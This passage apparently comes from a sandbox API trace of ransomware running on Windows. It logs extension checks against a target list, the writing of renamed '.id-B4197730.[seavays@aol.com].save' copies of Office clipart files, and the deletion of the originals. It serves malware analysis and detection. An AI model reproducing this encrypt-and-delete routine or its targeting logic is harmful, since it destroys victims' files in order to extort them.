office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0075.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0075.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0075.039] lstrlenW (lpString=".doc") returned 4 [0075.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.039] lstrlenW (lpString=".docx") returned 5 [0075.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.039] lstrlenW (lpString=".pdf") returned 4 [0075.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.039] lstrlenW (lpString=".xls") returned 4 [0075.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.039] lstrlenW (lpString=".xlsx") returned 5 [0075.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.039] lstrlenW (lpString=".ppt") returned 4 [0075.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0075.040] lstrlenW (lpString=".zip") returned 4 [0075.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.040] lstrlenW (lpString=".rar") returned 4 [0075.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.040] lstrlenW (lpString=".bz2") returned 4 [0075.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.040] lstrlenW (lpString=".7z") returned 3 [0075.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0075.040] lstrlenW (lpString=".dbf") returned 4 [0075.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0075.040] lstrlenW (lpString=".1cd") returned 4 [0075.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0075.040] lstrlenW (lpString=".jpg") returned 4 [0075.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.041] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.041] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.042] GetLastError () returned 0x0 [0075.042] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x121a, lpOverlapped=0x0) returned 1 [0075.044] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1220, lpOverlapped=0x0) returned 1 [0075.045] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.045] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.045] SetEndOfFile (hFile=0x368) returned 1 [0075.046] CloseHandle (hObject=0x368) returned 1 [0075.046] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.046] SetEndOfFile (hFile=0x38c) returned 1 [0075.047] CloseHandle (hObject=0x38c) returned 1 [0075.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0075.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0075.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0075.048] lstrlenW (lpString=".doc") returned 4 [0075.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.048] lstrlenW (lpString=".docx") returned 5 [0075.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.048] lstrlenW (lpString=".pdf") returned 4 [0075.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.048] lstrlenW (lpString=".xls") returned 4 [0075.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.048] lstrlenW (lpString=".xlsx") returned 5 [0075.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.048] lstrlenW (lpString=".ppt") returned 4 [0075.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0075.048] lstrlenW (lpString=".zip") returned 4 [0075.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.048] lstrlenW (lpString=".rar") returned 4 [0075.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.049] lstrlenW (lpString=".bz2") returned 4 [0075.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.049] lstrlenW (lpString=".7z") returned 3 [0075.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0075.049] lstrlenW (lpString=".dbf") returned 4 [0075.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0075.049] lstrlenW (lpString=".1cd") returned 4 [0075.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0075.049] lstrlenW (lpString=".jpg") returned 4 [0075.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.050] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.050] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.050] GetLastError () returned 0x0 [0075.050] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x96c, lpOverlapped=0x0) returned 1 [0075.052] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x970, lpOverlapped=0x0) returned 1 [0075.053] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.053] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.053] SetEndOfFile (hFile=0x368) returned 1 [0075.054] CloseHandle (hObject=0x368) returned 1 [0075.054] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.054] SetEndOfFile (hFile=0x38c) returned 1 [0075.055] CloseHandle (hObject=0x38c) returned 1 [0075.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0075.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0075.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0075.056] lstrlenW (lpString=".doc") returned 4 [0075.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.056] lstrlenW (lpString=".docx") returned 5 [0075.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.056] lstrlenW (lpString=".pdf") returned 4 [0075.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.056] lstrlenW (lpString=".xls") returned 4 [0075.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.056] lstrlenW (lpString=".xlsx") returned 5 [0075.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.056] lstrlenW (lpString=".ppt") returned 4 [0075.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0075.057] lstrlenW (lpString=".zip") returned 4 [0075.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.057] lstrlenW (lpString=".rar") returned 4 [0075.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.057] lstrlenW (lpString=".bz2") returned 4 [0075.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.057] lstrlenW (lpString=".7z") returned 3 [0075.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0075.057] lstrlenW (lpString=".dbf") returned 4 [0075.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0075.057] lstrlenW (lpString=".1cd") returned 4 [0075.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0075.057] lstrlenW (lpString=".jpg") returned 4 [0075.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.058] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.058] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.068] GetLastError () returned 0x0 [0075.068] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1378, lpOverlapped=0x0) returned 1 [0075.088] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1380, lpOverlapped=0x0) returned 1 [0075.089] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.089] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.089] SetEndOfFile (hFile=0x368) returned 1 [0075.090] CloseHandle (hObject=0x368) returned 1 [0075.090] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.090] SetEndOfFile (hFile=0x38c) returned 1 [0075.092] CloseHandle (hObject=0x38c) returned 1 [0075.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0075.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0075.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0075.093] lstrlenW (lpString=".doc") returned 4 [0075.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.093] lstrlenW (lpString=".docx") returned 5 [0075.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.093] lstrlenW (lpString=".pdf") returned 4 [0075.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.093] lstrlenW (lpString=".xls") returned 4 [0075.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.093] lstrlenW (lpString=".xlsx") returned 5 [0075.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.093] lstrlenW (lpString=".ppt") returned 4 [0075.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0075.093] lstrlenW (lpString=".zip") returned 4 [0075.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.093] lstrlenW (lpString=".rar") returned 4 [0075.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.094] lstrlenW (lpString=".bz2") returned 4 [0075.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.094] lstrlenW (lpString=".7z") returned 3 [0075.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0075.094] lstrlenW (lpString=".dbf") returned 4 [0075.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0075.094] lstrlenW (lpString=".1cd") returned 4 [0075.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0075.094] lstrlenW (lpString=".jpg") returned 4 [0075.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.095] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.095] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.096] GetLastError () returned 0x0 [0075.096] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0075.674] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf80, lpOverlapped=0x0) returned 1 [0075.677] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.677] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.680] SetEndOfFile (hFile=0x368) returned 1 [0075.681] CloseHandle (hObject=0x368) returned 1 [0075.681] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.681] SetEndOfFile (hFile=0x38c) returned 1 [0075.682] CloseHandle (hObject=0x38c) returned 1 [0075.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0075.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0075.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0075.684] lstrlenW (lpString=".doc") returned 4 [0075.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.684] lstrlenW (lpString=".docx") returned 5 [0075.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.684] lstrlenW (lpString=".pdf") returned 4 [0075.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.684] lstrlenW (lpString=".xls") returned 4 [0075.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.684] lstrlenW (lpString=".xlsx") returned 5 [0075.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.685] lstrlenW (lpString=".ppt") returned 4 [0075.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0075.685] lstrlenW (lpString=".zip") returned 4 [0075.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.685] lstrlenW (lpString=".rar") returned 4 [0075.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.685] lstrlenW (lpString=".bz2") returned 4 [0075.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.685] lstrlenW (lpString=".7z") returned 3 [0075.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0075.685] lstrlenW (lpString=".dbf") returned 4 [0075.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0075.685] lstrlenW (lpString=".1cd") returned 4 [0075.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0075.685] lstrlenW (lpString=".jpg") returned 4 [0075.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.688] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.688] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.689] GetLastError () returned 0x0 [0075.689] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xe70, lpOverlapped=0x0) returned 1 [0075.691] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe80, lpOverlapped=0x0) returned 1 [0075.692] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.692] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.692] SetEndOfFile (hFile=0x368) returned 1 [0075.692] CloseHandle (hObject=0x368) returned 1 [0075.692] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.692] SetEndOfFile (hFile=0x38c) returned 1 [0075.693] CloseHandle (hObject=0x38c) returned 1 [0075.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0075.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0075.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0075.694] lstrlenW (lpString=".doc") returned 4 [0075.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.694] lstrlenW (lpString=".docx") returned 5 [0075.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.694] lstrlenW (lpString=".pdf") returned 4 [0075.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.694] lstrlenW (lpString=".xls") returned 4 [0075.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.694] lstrlenW (lpString=".xlsx") returned 5 [0075.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.694] lstrlenW (lpString=".ppt") returned 4 [0075.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0075.695] lstrlenW (lpString=".zip") returned 4 [0075.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.695] lstrlenW (lpString=".rar") returned 4 [0075.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.695] lstrlenW (lpString=".bz2") returned 4 [0075.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.695] lstrlenW (lpString=".7z") returned 3 [0075.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0075.695] lstrlenW (lpString=".dbf") returned 4 [0075.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0075.695] lstrlenW (lpString=".1cd") returned 4 [0075.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0075.695] lstrlenW (lpString=".jpg") returned 4 [0075.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 